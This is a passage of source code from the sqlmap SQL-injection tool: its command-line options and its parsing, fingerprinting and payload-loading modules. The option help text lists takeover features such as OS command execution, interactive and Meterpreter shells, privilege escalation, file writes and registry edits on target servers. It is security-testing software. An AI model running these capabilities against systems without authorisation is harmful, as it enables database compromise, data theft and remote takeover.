dest="firstChar", type="int", help="First query output word character to retrieve") enumeration.add_option("--last", dest="lastChar", type="int", help="Last query output word character to retrieve") enumeration.add_option("--sql-query", dest="query", help="SQL statement to be executed") enumeration.add_option("--sql-shell", dest="sqlShell", action="store_true", help="Prompt for an interactive SQL shell") enumeration.add_option("--sql-file", dest="sqlFile", help="Execute SQL statements from given file(s)") # Brute force options brute = OptionGroup(parser, "Brute force", "These options can be used to run brute force checks") brute.add_option("--common-tables", dest="commonTables", action="store_true", help="Check existence of common tables") brute.add_option("--common-columns", dest="commonColumns", action="store_true", help="Check existence of common columns") # User-defined function options udf = OptionGroup(parser, "User-defined function injection", "These options can be used to create custom user-defined functions") udf.add_option("--udf-inject", dest="udfInject", action="store_true", help="Inject custom user-defined functions") udf.add_option("--shared-lib", dest="shLib", help="Local path of the shared library") # File system options filesystem = OptionGroup(parser, "File system access", "These options can be used to access the back-end database management system underlying file system") filesystem.add_option("--file-read", dest="rFile", help="Read a file from the back-end DBMS file system") filesystem.add_option("--file-write", dest="wFile", help="Write a local file on the back-end DBMS file system") filesystem.add_option("--file-dest", dest="dFile", help="Back-end DBMS absolute filepath to write to") # Takeover options takeover = OptionGroup(parser, "Operating system access", "These options can be used to access the back-end database management system underlying operating system") takeover.add_option("--os-cmd", dest="osCmd", help="Execute an operating system command") takeover.add_option("--os-shell", dest="osShell", action="store_true", help="Prompt for an interactive operating system shell") takeover.add_option("--os-pwn", dest="osPwn", action="store_true", help="Prompt for an OOB shell, Meterpreter or VNC") takeover.add_option("--os-smbrelay", dest="osSmb", action="store_true", help="One click prompt for an OOB shell, Meterpreter or VNC") takeover.add_option("--os-bof", dest="osBof", action="store_true", help="Stored procedure buffer overflow " "exploitation") takeover.add_option("--priv-esc", dest="privEsc", action="store_true", help="Database process user privilege escalation") takeover.add_option("--msf-path", dest="msfPath", help="Local path where Metasploit Framework is installed") takeover.add_option("--tmp-path", dest="tmpPath", help="Remote absolute path of temporary files directory") # Windows registry options windows = OptionGroup(parser, "Windows registry access", "These options can be used to access the back-end database management system Windows registry") windows.add_option("--reg-read", dest="regRead", action="store_true", help="Read a Windows registry key value") windows.add_option("--reg-add", dest="regAdd", action="store_true", help="Write a Windows registry key value data") windows.add_option("--reg-del", dest="regDel", action="store_true", help="Delete a Windows registry key value") windows.add_option("--reg-key", dest="regKey", help="Windows registry key") windows.add_option("--reg-value", dest="regVal", help="Windows registry key value") windows.add_option("--reg-data", dest="regData", help="Windows registry key value data") windows.add_option("--reg-type", dest="regType", help="Windows registry key value type") # General options general = OptionGroup(parser, "General", "These options can be used to set some general working parameters") general.add_option("-s", dest="sessionFile", help="Load session from a stored (.sqlite) file") general.add_option("-t", dest="trafficFile", help="Log all HTTP traffic into a textual file") general.add_option("--batch", dest="batch", action="store_true", help="Never ask for user input, use the default behavior") general.add_option("--binary-fields", dest="binaryFields", help="Result fields having binary values (e.g. \"digest\")") general.add_option("--check-internet", dest="checkInternet", action="store_true", help="Check Internet connection before assessing the target") general.add_option("--crawl", dest="crawlDepth", type="int", help="Crawl the website starting from the target URL") general.add_option("--crawl-exclude", dest="crawlExclude", help="Regexp to exclude pages from crawling (e.g. \"logout\")") general.add_option("--csv-del", dest="csvDel", help="Delimiting character used in CSV output (default \"%s\")" % defaults.csvDel) general.add_option("--charset", dest="charset", help="Blind SQL injection charset (e.g. \"0123456789abcdef\")") general.add_option("--dump-format", dest="dumpFormat", help="Format of dumped data (CSV (default), HTML or SQLITE)") general.add_option("--encoding", dest="encoding", help="Character encoding used for data retrieval (e.g. GBK)") general.add_option("--eta", dest="eta", action="store_true", help="Display for each output the estimated time of arrival") general.add_option("--flush-session", dest="flushSession", action="store_true", help="Flush session files for current target") general.add_option("--forms", dest="forms", action="store_true", help="Parse and test forms on target URL") general.add_option("--fresh-queries", dest="freshQueries", action="store_true", help="Ignore query results stored in session file") general.add_option("--har", dest="harFile", help="Log all HTTP traffic into a HAR file") general.add_option("--hex", dest="hexConvert", action="store_true", help="Use DBMS hex function(s) for data retrieval") general.add_option("--output-dir", dest="outputDir", action="store", help="Custom output directory path") general.add_option("--parse-errors", dest="parseErrors", action="store_true", help="Parse and display DBMS error messages from responses") general.add_option("--save", dest="saveConfig", help="Save options to a configuration INI file") general.add_option("--scope", dest="scope", help="Regexp to filter targets from provided proxy log") general.add_option("--test-filter", dest="testFilter", help="Select tests by payloads and/or titles (e.g. ROW)") general.add_option("--test-skip", dest="testSkip", help="Skip tests by payloads and/or titles (e.g. BENCHMARK)") general.add_option("--update", dest="updateAll", action="store_true", help="Update sqlmap") # Miscellaneous options miscellaneous = OptionGroup(parser, "Miscellaneous") miscellaneous.add_option("-z", dest="mnemonics", help="Use short mnemonics (e.g. \"flu,bat,ban,tec=EU\")") miscellaneous.add_option("--alert", dest="alert", help="Run host OS command(s) when SQL injection is found") miscellaneous.add_option("--answers", dest="answers", help="Set question answers (e.g. \"quit=N,follow=N\")") miscellaneous.add_option("--beep", dest="beep", action="store_true", help="Beep on question and/or when SQL injection is found") miscellaneous.add_option("--cleanup", dest="cleanup", action="store_true", help="Clean up the DBMS from sqlmap specific UDF and tables") miscellaneous.add_option("--dependencies", dest="dependencies", action="store_true", help="Check for missing (non-core) sqlmap dependencies") miscellaneous.add_option("--disable-coloring", dest="disableColoring", action="store_true", help="Disable console output coloring") miscellaneous.add_option("--gpage", dest="googlePage", type="int", help="Use Google dork results from specified page number") miscellaneous.add_option("--identify-waf", dest="identifyWaf", action="store_true", help="Make a thorough testing for a WAF/IPS/IDS protection") miscellaneous.add_option("--mobile", dest="mobile", action="store_true", help="Imitate smartphone through HTTP User-Agent header") miscellaneous.add_option("--offline", dest="offline", action="store_true", help="Work in offline mode (only use session data)") miscellaneous.add_option("--purge-output", dest="purgeOutput", action="store_true", help="Safely remove all content from output directory") miscellaneous.add_option("--skip-waf", dest="skipWaf", action="store_true", help="Skip heuristic detection of WAF/IPS/IDS protection") miscellaneous.add_option("--smart", dest="smart", action="store_true", help="Conduct thorough tests only if positive heuristic(s)") miscellaneous.add_option("--sqlmap-shell", dest="sqlmapShell", action="store_true", help="Prompt for an interactive sqlmap shell") miscellaneous.add_option("--tmp-dir", dest="tmpDir", help="Local directory for storing temporary files") miscellaneous.add_option("--web-root", dest="webRoot", help="Web server document root directory (e.g. \"/var/www\")") miscellaneous.add_option("--wizard", dest="wizard", action="store_true", help="Simple wizard interface for beginner users") # Hidden and/or experimental options parser.add_option("--dummy", dest="dummy", action="store_true", help=SUPPRESS_HELP) parser.add_option("--murphy-rate", dest="murphyRate", type="int", help=SUPPRESS_HELP) parser.add_option("--disable-precon", dest="disablePrecon", action="store_true", help=SUPPRESS_HELP) parser.add_option("--disable-stats", dest="disableStats", action="store_true", help=SUPPRESS_HELP) parser.add_option("--profile", dest="profile", action="store_true", help=SUPPRESS_HELP) parser.add_option("--force-dbms", dest="forceDbms", help=SUPPRESS_HELP) parser.add_option("--force-dns", dest="forceDns", action="store_true", help=SUPPRESS_HELP) parser.add_option("--force-threads", dest="forceThreads", action="store_true", help=SUPPRESS_HELP) parser.add_option("--smoke-test", dest="smokeTest", action="store_true", help=SUPPRESS_HELP) parser.add_option("--live-test", dest="liveTest", action="store_true", help=SUPPRESS_HELP) parser.add_option("--stop-fail", dest="stopFail", action="store_true", help=SUPPRESS_HELP) parser.add_option("--run-case", dest="runCase", help=SUPPRESS_HELP) # API options parser.add_option("--api", dest="api", action="store_true", help=SUPPRESS_HELP) parser.add_option("--taskid", dest="taskid", help=SUPPRESS_HELP) parser.add_option("--database", dest="database", help=SUPPRESS_HELP) parser.add_option_group(target) parser.add_option_group(request) parser.add_option_group(optimization) parser.add_option_group(injection) parser.add_option_group(detection) parser.add_option_group(techniques) parser.add_option_group(fingerprint) parser.add_option_group(enumeration) parser.add_option_group(brute) parser.add_option_group(udf) parser.add_option_group(filesystem) parser.add_option_group(takeover) parser.add_option_group(windows) parser.add_option_group(general) parser.add_option_group(miscellaneous) # Dirty hack to display longer options without breaking into two lines def _(self, *args): retVal = parser.formatter._format_option_strings(*args) if len(retVal) > MAX_HELP_OPTION_LENGTH: retVal = ("%%.%ds.." % (MAX_HELP_OPTION_LENGTH - parser.formatter.indent_increment)) % retVal return retVal parser.formatter._format_option_strings = parser.formatter.format_option_strings parser.formatter.format_option_strings = type(parser.formatter.format_option_strings)(_, parser, type(parser)) # Dirty hack for making a short option '-hh' option = parser.get_option("--hh") option._short_opts = ["-hh"] option._long_opts = [] # Dirty hack for inherent help message of switch '-h' option = parser.get_option("-h") option.help = option.help.capitalize().replace("this help", "basic help") _ = [] prompt = False advancedHelp = True extraHeaders = [] # Reference: https://stackoverflow.com/a/4012683 (Note: previously used "...sys.getfilesystemencoding() or UNICODE_ENCODING") for arg in argv: _.append(getUnicode(arg, encoding=sys.stdin.encoding)) argv = _ checkDeprecatedOptions(argv) prompt = "--sqlmap-shell" in argv if prompt: parser.usage = "" cmdLineOptions.sqlmapShell = True _ = ["x", "q", "exit", "quit", "clear"] for option in parser.option_list: _.extend(option._long_opts) _.extend(option._short_opts) for group in parser.option_groups: for option in group.option_list: _.extend(option._long_opts) _.extend(option._short_opts) autoCompletion(AUTOCOMPLETE_TYPE.SQLMAP, commands=_) while True: command = None try: command = raw_input("sqlmap-shell> ").strip() command = getUnicode(command, encoding=sys.stdin.encoding) except (KeyboardInterrupt, EOFError): print raise SqlmapShellQuitException if not command: continue elif command.lower() == "clear": clearHistory() dataToStdout("[i] history cleared\n") saveHistory(AUTOCOMPLETE_TYPE.SQLMAP) elif command.lower() in ("x", "q", "exit", "quit"): raise SqlmapShellQuitException elif command[0] != '-': dataToStdout("[!] invalid option(s) provided\n") dataToStdout("[i] proper example: '-u http://www.site.com/vuln.php?id=1 --banner'\n") else: saveHistory(AUTOCOMPLETE_TYPE.SQLMAP) loadHistory(AUTOCOMPLETE_TYPE.SQLMAP) break try: for arg in shlex.split(command): argv.append(getUnicode(arg, encoding=sys.stdin.encoding)) except ValueError, ex: raise SqlmapSyntaxException("something went wrong during command line parsing ('%s')" % ex.message) for i in xrange(len(argv)): if argv[i] == "-hh": argv[i] = "-h" elif len(argv[i]) > 1 and all(ord(_) in xrange(0x2018, 0x2020) for _ in ((argv[i].split('=', 1)[-1].strip() or ' ')[0], argv[i][-1])): dataToStdout("[!] copy-pasting illegal (non-console) quote characters from Internet is, well, illegal (%s)\n" % argv[i]) raise SystemExit elif len(argv[i]) > 1 and u"\uff0c" in argv[i].split('=', 1)[-1]: dataToStdout("[!] copy-pasting illegal (non-console) comma characters from Internet is, well, illegal (%s)\n" % argv[i]) raise SystemExit elif re.search(r"\A-\w=.+", argv[i]): dataToStdout("[!] potentially miswritten (illegal '=') short option detected ('%s')\n" % argv[i]) raise SystemExit elif argv[i] == "-H": if i + 1 < len(argv): extraHeaders.append(argv[i + 1]) elif re.match(r"\A\d+!\Z", argv[i]) and argv[max(0, i - 1)] == "--threads" or re.match(r"\A--threads.+\d+!\Z", argv[i]): argv[i] = argv[i][:-1] conf.skipThreadCheck = True elif argv[i] == "--version": print VERSION_STRING.split('/')[-1] raise SystemExit elif argv[i] in ("-h", "--help"): advancedHelp = False for group in parser.option_groups[:]: found = False for option in group.option_list: if option.dest not in BASIC_HELP_ITEMS: option.help = SUPPRESS_HELP else: found = True if not found: parser.option_groups.remove(group) for verbosity in (_ for _ in argv if re.search(r"\A\-v+\Z", _)): try: if argv.index(verbosity) == len(argv) - 1 or not argv[argv.index(verbosity) + 1].isdigit(): conf.verbose = verbosity.count('v') + 1 del argv[argv.index(verbosity)] except (IndexError, ValueError): pass try: (args, _) = parser.parse_args(argv) except UnicodeEncodeError, ex: dataToStdout("\n[!] %s\n" % ex.object.encode("unicode-escape")) raise SystemExit except SystemExit: if "-h" in argv and not advancedHelp: dataToStdout("\n[!] to see full list of options run with '-hh'\n") raise if extraHeaders: if not args.headers: args.headers = "" delimiter = "\\n" if "\\n" in args.headers else "\n" args.headers += delimiter + delimiter.join(extraHeaders) # Expand given mnemonic options (e.g. -z "ign,flu,bat") for i in xrange(len(argv) - 1): if argv[i] == "-z": expandMnemonics(argv[i + 1], parser, args) if args.dummy: args.url = args.url or DUMMY_URL if not any((args.direct, args.url, args.logFile, args.bulkFile, args.googleDork, args.configFile, args.requestFile, args.updateAll, args.smokeTest, args.liveTest, args.wizard, args.dependencies, args.purgeOutput, args.sitemapUrl)): errMsg = "missing a mandatory option (-d, -u, -l, -m, -r, -g, -c, -x, --wizard, --update, --purge-output or --dependencies), " errMsg += "use -h for basic or -hh for advanced help\n" parser.error(errMsg) return args except (OptionError, TypeError), e: parser.error(e) except SystemExit: # Protection against Windows dummy double clicking if IS_WIN: dataToStdout("\nPress Enter to continue...") raw_input() raise debugMsg = "parsing command line" logger.debug(debugMsg) sqlmap-1.2.4/lib/parse/configfile.py000066400000000000000000000067211326012263700173620ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ from lib.core.common import checkFile from lib.core.common import getSafeExString from lib.core.common import getUnicode from lib.core.common import openFile from lib.core.common import unArrayizeValue from lib.core.common import UnicodeRawConfigParser from lib.core.data import cmdLineOptions from lib.core.data import conf from lib.core.data import logger from lib.core.enums import OPTION_TYPE from lib.core.exception import SqlmapMissingMandatoryOptionException from lib.core.exception import SqlmapSyntaxException from lib.core.optiondict import optDict config = None def configFileProxy(section, option, datatype): """ Parse configuration file and save settings into the configuration advanced dictionary. """ global config if config.has_option(section, option): try: if datatype == OPTION_TYPE.BOOLEAN: value = config.getboolean(section, option) if config.get(section, option) else False elif datatype == OPTION_TYPE.INTEGER: value = config.getint(section, option) if config.get(section, option) else 0 elif datatype == OPTION_TYPE.FLOAT: value = config.getfloat(section, option) if config.get(section, option) else 0.0 else: value = config.get(section, option) except ValueError, ex: errMsg = "error occurred while processing the option " errMsg += "'%s' in provided configuration file ('%s')" % (option, getUnicode(ex)) raise SqlmapSyntaxException(errMsg) if value: conf[option] = value else: conf[option] = None else: debugMsg = "missing requested option '%s' (section " % option debugMsg += "'%s') into the configuration file, " % section debugMsg += "ignoring. Skipping to next." logger.debug(debugMsg) def configFileParser(configFile): """ Parse configuration file and save settings into the configuration advanced dictionary. """ global config debugMsg = "parsing configuration file" logger.debug(debugMsg) checkFile(configFile) configFP = openFile(configFile, "rb") try: config = UnicodeRawConfigParser() config.readfp(configFP) except Exception, ex: errMsg = "you have provided an invalid and/or unreadable configuration file ('%s')" % getSafeExString(ex) raise SqlmapSyntaxException(errMsg) if not config.has_section("Target"): errMsg = "missing a mandatory section 'Target' in the configuration file" raise SqlmapMissingMandatoryOptionException(errMsg) mandatory = False for option in ("direct", "url", "logFile", "bulkFile", "googleDork", "requestFile", "sitemapUrl", "wizard"): if config.has_option("Target", option) and config.get("Target", option) or cmdLineOptions.get(option): mandatory = True break if not mandatory: errMsg = "missing a mandatory option in the configuration file " errMsg += "(direct, url, logFile, bulkFile, googleDork, requestFile, sitemapUrl or wizard)" raise SqlmapMissingMandatoryOptionException(errMsg) for family, optionData in optDict.items(): for option, datatype in optionData.items(): datatype = unArrayizeValue(datatype) configFileProxy(family, option, datatype) sqlmap-1.2.4/lib/parse/handler.py000066400000000000000000000051151326012263700166660ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ import re from xml.sax.handler import ContentHandler from lib.core.common import sanitizeStr class FingerprintHandler(ContentHandler): """ This class defines methods to parse and extract information from the given DBMS banner based upon the data in XML file """ def __init__(self, banner, info): ContentHandler.__init__(self) self._banner = sanitizeStr(banner) self._regexp = None self._match = None self._dbmsVersion = None self._techVersion = None self._info = info def _feedInfo(self, key, value): value = sanitizeStr(value) if value in (None, "None"): return if key == "dbmsVersion": self._info[key] = value else: if key not in self._info.keys(): self._info[key] = set() for _ in value.split("|"): self._info[key].add(_) def startElement(self, name, attrs): if name == "regexp": self._regexp = sanitizeStr(attrs.get("value")) _ = re.match(r"\A[A-Za-z0-9]+", self._regexp) # minor trick avoiding compiling of large amount of regexes if _ and _.group(0).lower() in self._banner.lower() or not _: self._match = re.search(self._regexp, self._banner, re.I | re.M) else: self._match = None if name == "info" and self._match: self._feedInfo("type", attrs.get("type")) self._feedInfo("distrib", attrs.get("distrib")) self._feedInfo("release", attrs.get("release")) self._feedInfo("codename", attrs.get("codename")) self._dbmsVersion = sanitizeStr(attrs.get("dbms_version")) self._techVersion = sanitizeStr(attrs.get("tech_version")) self._sp = sanitizeStr(attrs.get("sp")) if self._dbmsVersion.isdigit(): self._feedInfo("dbmsVersion", self._match.group(int(self._dbmsVersion))) if self._techVersion.isdigit(): self._feedInfo("technology", "%s %s" % (attrs.get("technology"), self._match.group(int(self._techVersion)))) else: self._feedInfo("technology", attrs.get("technology")) if self._sp.isdigit(): self._feedInfo("sp", "Service Pack %s" % int(self._sp)) self._regexp = None self._match = None self._dbmsVersion = None self._techVersion = None sqlmap-1.2.4/lib/parse/headers.py000066400000000000000000000027031326012263700166640ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ import itertools import os from lib.core.common import parseXmlFile from lib.core.data import kb from lib.core.data import paths from lib.parse.handler import FingerprintHandler def headersParser(headers): """ This function calls a class that parses the input HTTP headers to fingerprint the back-end database management system operating system and the web application technology """ if not kb.headerPaths: kb.headerPaths = { "microsoftsharepointteamservices": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "sharepoint.xml"), "server": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "server.xml"), "servlet-engine": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "servlet-engine.xml"), "set-cookie": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "set-cookie.xml"), "x-aspnet-version": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "x-aspnet-version.xml"), "x-powered-by": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "x-powered-by.xml"), } for header in itertools.ifilter(lambda x: x in kb.headerPaths, headers): value = headers[header] xmlfile = kb.headerPaths[header] handler = FingerprintHandler(value, kb.headersFp) parseXmlFile(xmlfile, handler) parseXmlFile(paths.GENERIC_XML, handler) sqlmap-1.2.4/lib/parse/html.py000066400000000000000000000044521326012263700162200ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ import re from xml.sax.handler import ContentHandler from lib.core.common import parseXmlFile from lib.core.data import kb from lib.core.data import paths from lib.core.threads import getCurrentThreadData class HTMLHandler(ContentHandler): """ This class defines methods to parse the input HTML page to fingerprint the back-end database management system """ def __init__(self, page): ContentHandler.__init__(self) self._dbms = None self._page = (page or "") self._lower_page = self._page.lower() self.dbms = None def _markAsErrorPage(self): threadData = getCurrentThreadData() threadData.lastErrorPage = (threadData.lastRequestUID, self._page) def startElement(self, name, attrs): if self.dbms: return if name == "dbms": self._dbms = attrs.get("value") elif name == "error": regexp = attrs.get("regexp") if regexp not in kb.cache.regex: keywords = re.findall(r"\w+", re.sub(r"\\.", " ", regexp)) keywords = sorted(keywords, key=len) kb.cache.regex[regexp] = keywords[-1].lower() if kb.cache.regex[regexp] in self._lower_page and re.search(regexp, self._page, re.I): self.dbms = self._dbms self._markAsErrorPage() def htmlParser(page): """ This function calls a class that parses the input HTML page to fingerprint the back-end database management system """ xmlfile = paths.ERRORS_XML handler = HTMLHandler(page) key = hash(page) if key in kb.cache.parsedDbms: retVal = kb.cache.parsedDbms[key] if retVal: handler._markAsErrorPage() return retVal parseXmlFile(xmlfile, handler) if handler.dbms and handler.dbms not in kb.htmlFp: kb.lastParserStatus = handler.dbms kb.htmlFp.append(handler.dbms) else: kb.lastParserStatus = None kb.cache.parsedDbms[key] = handler.dbms # generic SQL warning/error messages if re.search(r"SQL (warning|error|syntax)", page, re.I): handler._markAsErrorPage() return handler.dbms sqlmap-1.2.4/lib/parse/payloads.py000066400000000000000000000060751326012263700170730ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ import os from xml.etree import ElementTree as et from lib.core.common import getSafeExString from lib.core.data import conf from lib.core.data import paths from lib.core.datatype import AttribDict from lib.core.exception import SqlmapInstallationException from lib.core.settings import PAYLOAD_XML_FILES def cleanupVals(text, tag): if tag in ("clause", "where"): text = text.split(',') if isinstance(text, basestring): text = int(text) if text.isdigit() else text elif isinstance(text, list): count = 0 for _ in text: text[count] = int(_) if _.isdigit() else _ count += 1 if len(text) == 1 and tag not in ("clause", "where"): text = text[0] return text def parseXmlNode(node): for element in node.getiterator('boundary'): boundary = AttribDict() for child in element.getchildren(): if child.text: values = cleanupVals(child.text, child.tag) boundary[child.tag] = values else: boundary[child.tag] = None conf.boundaries.append(boundary) for element in node.getiterator('test'): test = AttribDict() for child in element.getchildren(): if child.text and child.text.strip(): values = cleanupVals(child.text, child.tag) test[child.tag] = values else: if len(child.getchildren()) == 0: test[child.tag] = None continue else: test[child.tag] = AttribDict() for gchild in child.getchildren(): if gchild.tag in test[child.tag]: prevtext = test[child.tag][gchild.tag] test[child.tag][gchild.tag] = [prevtext, gchild.text] else: test[child.tag][gchild.tag] = gchild.text conf.tests.append(test) def loadBoundaries(): try: doc = et.parse(paths.BOUNDARIES_XML) except Exception, ex: errMsg = "something appears to be wrong with " errMsg += "the file '%s' ('%s'). Please make " % (paths.BOUNDARIES_XML, getSafeExString(ex)) errMsg += "sure that you haven't made any changes to it" raise SqlmapInstallationException(errMsg) root = doc.getroot() parseXmlNode(root) def loadPayloads(): for payloadFile in PAYLOAD_XML_FILES: payloadFilePath = os.path.join(paths.SQLMAP_XML_PAYLOADS_PATH, payloadFile) try: doc = et.parse(payloadFilePath) except Exception, ex: errMsg = "something appears to be wrong with " errMsg += "the file '%s' ('%s'). Please make " % (payloadFilePath, getSafeExString(ex)) errMsg += "sure that you haven't made any changes to it" raise SqlmapInstallationException(errMsg) root = doc.getroot() parseXmlNode(root) sqlmap-1.2.4/lib/parse/sitemap.py000066400000000000000000000033171326012263700167150ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ import httplib import re from lib.core.common import readInput from lib.core.data import kb from lib.core.data import logger from lib.core.exception import SqlmapSyntaxException from lib.request.connect import Connect as Request from thirdparty.oset.pyoset import oset abortedFlag = None def parseSitemap(url, retVal=None): global abortedFlag if retVal is not None: logger.debug("parsing sitemap '%s'" % url) try: if retVal is None: abortedFlag = False retVal = oset() try: content = Request.getPage(url=url, raise404=True)[0] if not abortedFlag else "" except httplib.InvalidURL: errMsg = "invalid URL given for sitemap ('%s')" % url raise SqlmapSyntaxException(errMsg) for match in re.finditer(r"\s*([^<]+)", content or ""): if abortedFlag: break url = match.group(1).strip() if url.endswith(".xml") and "sitemap" in url.lower(): if kb.followSitemapRecursion is None: message = "sitemap recursion detected. Do you want to follow? [y/N] " kb.followSitemapRecursion = readInput(message, default='N', boolean=True) if kb.followSitemapRecursion: parseSitemap(url, retVal) else: retVal.add(url) except KeyboardInterrupt: abortedFlag = True warnMsg = "user aborted during sitemap parsing. sqlmap " warnMsg += "will use partial list" logger.warn(warnMsg) return retVal sqlmap-1.2.4/lib/request/000077500000000000000000000000001326012263700152535ustar00rootroot00000000000000sqlmap-1.2.4/lib/request/__init__.py000066400000000000000000000002221326012263700173600ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ pass sqlmap-1.2.4/lib/request/basic.py000066400000000000000000000410541326012263700167120ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ import codecs import gzip import logging import re import StringIO import struct import zlib from lib.core.common import Backend from lib.core.common import extractErrorMessage from lib.core.common import extractRegexResult from lib.core.common import getPublicTypeMembers from lib.core.common import getUnicode from lib.core.common import isListLike from lib.core.common import randomStr from lib.core.common import readInput from lib.core.common import resetCookieJar from lib.core.common import singleTimeLogMessage from lib.core.common import singleTimeWarnMessage from lib.core.common import unArrayizeValue from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.decorators import cachedmethod from lib.core.enums import DBMS from lib.core.enums import HTTP_HEADER from lib.core.enums import PLACE from lib.core.exception import SqlmapCompressionException from lib.core.settings import BLOCKED_IP_REGEX from lib.core.settings import DEFAULT_COOKIE_DELIMITER from lib.core.settings import DEV_EMAIL_ADDRESS from lib.core.settings import EVENTVALIDATION_REGEX from lib.core.settings import MAX_CONNECTION_TOTAL_SIZE from lib.core.settings import META_CHARSET_REGEX from lib.core.settings import PARSE_HEADERS_LIMIT from lib.core.settings import SELECT_FROM_TABLE_REGEX from lib.core.settings import UNICODE_ENCODING from lib.core.settings import VIEWSTATE_REGEX from lib.parse.headers import headersParser from lib.parse.html import htmlParser from lib.utils.htmlentities import htmlEntities from thirdparty.chardet import detect from thirdparty.odict.odict import OrderedDict def forgeHeaders(items=None, base=None): """ Prepare HTTP Cookie, HTTP User-Agent and HTTP Referer headers to use when performing the HTTP requests """ items = items or {} for _ in items.keys(): if items[_] is None: del items[_] headers = OrderedDict(conf.httpHeaders if base is None else base) headers.update(items.items()) class _str(str): def capitalize(self): return _str(self) def title(self): return _str(self) _ = headers headers = OrderedDict() for key, value in _.items(): success = False for _ in headers: if _.upper() == key.upper(): del headers[_] break if key.upper() not in (_.upper() for _ in getPublicTypeMembers(HTTP_HEADER, True)): try: headers[_str(key)] = value # dirty hack for http://bugs.python.org/issue12455 except UnicodeEncodeError: # don't do the hack on non-ASCII header names (they have to be properly encoded later on) pass else: success = True if not success: key = '-'.join(_.capitalize() for _ in key.split('-')) headers[key] = value if conf.cj: if HTTP_HEADER.COOKIE in headers: for cookie in conf.cj: if cookie.domain_specified and not (conf.hostname or "").endswith(cookie.domain): continue if ("%s=" % getUnicode(cookie.name)) in getUnicode(headers[HTTP_HEADER.COOKIE]): if conf.loadCookies: conf.httpHeaders = filter(None, ((item if item[0] != HTTP_HEADER.COOKIE else None) for item in conf.httpHeaders)) elif kb.mergeCookies is None: message = "you provided a HTTP %s header value. " % HTTP_HEADER.COOKIE message += "The target URL provided its own cookies within " message += "the HTTP %s header which intersect with yours. " % HTTP_HEADER.SET_COOKIE message += "Do you want to merge them in further requests? [Y/n] " kb.mergeCookies = readInput(message, default='Y', boolean=True) if kb.mergeCookies and kb.injection.place != PLACE.COOKIE: def _(value): return re.sub(r"(?i)\b%s=[^%s]+" % (re.escape(getUnicode(cookie.name)), conf.cookieDel or DEFAULT_COOKIE_DELIMITER), ("%s=%s" % (getUnicode(cookie.name), getUnicode(cookie.value))).replace('\\', r'\\'), value) headers[HTTP_HEADER.COOKIE] = _(headers[HTTP_HEADER.COOKIE]) if PLACE.COOKIE in conf.parameters: conf.parameters[PLACE.COOKIE] = _(conf.parameters[PLACE.COOKIE]) conf.httpHeaders = [(item[0], item[1] if item[0] != HTTP_HEADER.COOKIE else _(item[1])) for item in conf.httpHeaders] elif not kb.testMode: headers[HTTP_HEADER.COOKIE] += "%s %s=%s" % (conf.cookieDel or DEFAULT_COOKIE_DELIMITER, getUnicode(cookie.name), getUnicode(cookie.value)) if kb.testMode and not any((conf.csrfToken, conf.safeUrl)): resetCookieJar(conf.cj) return headers def parseResponse(page, headers, status=None): """ @param page: the page to parse to feed the knowledge base htmlFp (back-end DBMS fingerprint based upon DBMS error messages return through the web application) list and absFilePaths (absolute file paths) set. """ if headers: headersParser(headers) if page: htmlParser(page if not status else "%s\n\n%s" % (status, page)) @cachedmethod def checkCharEncoding(encoding, warn=True): """ Checks encoding name, repairs common misspellings and adjusts to proper namings used in codecs module >>> checkCharEncoding('iso-8858', False) 'iso8859-1' >>> checkCharEncoding('en_us', False) 'utf8' """ if isListLike(encoding): encoding = unArrayizeValue(encoding) if encoding: encoding = encoding.lower() else: return encoding # Reference: http://www.destructor.de/charsets/index.htm translate = {"windows-874": "iso-8859-11", "utf-8859-1": "utf8", "en_us": "utf8", "macintosh": "iso-8859-1", "euc_tw": "big5_tw", "th": "tis-620", "unicode": "utf8", "utc8": "utf8", "ebcdic": "ebcdic-cp-be", "iso-8859": "iso8859-1", "iso-8859-0": "iso8859-1", "ansi": "ascii", "gbk2312": "gbk", "windows-31j": "cp932", "en": "us"} for delimiter in (';', ',', '('): if delimiter in encoding: encoding = encoding[:encoding.find(delimiter)].strip() encoding = encoding.replace(""", "") # popular typos/errors if "8858" in encoding: encoding = encoding.replace("8858", "8859") # iso-8858 -> iso-8859 elif "8559" in encoding: encoding = encoding.replace("8559", "8859") # iso-8559 -> iso-8859 elif "8895" in encoding: encoding = encoding.replace("8895", "8859") # iso-8895 -> iso-8859 elif "5889" in encoding: encoding = encoding.replace("5889", "8859") # iso-5889 -> iso-8859 elif "5589" in encoding: encoding = encoding.replace("5589", "8859") # iso-5589 -> iso-8859 elif "2313" in encoding: encoding = encoding.replace("2313", "2312") # gb2313 -> gb2312 elif encoding.startswith("x-"): encoding = encoding[len("x-"):] # x-euc-kr -> euc-kr / x-mac-turkish -> mac-turkish elif "windows-cp" in encoding: encoding = encoding.replace("windows-cp", "windows") # windows-cp-1254 -> windows-1254 # name adjustment for compatibility if encoding.startswith("8859"): encoding = "iso-%s" % encoding elif encoding.startswith("cp-"): encoding = "cp%s" % encoding[3:] elif encoding.startswith("euc-"): encoding = "euc_%s" % encoding[4:] elif encoding.startswith("windows") and not 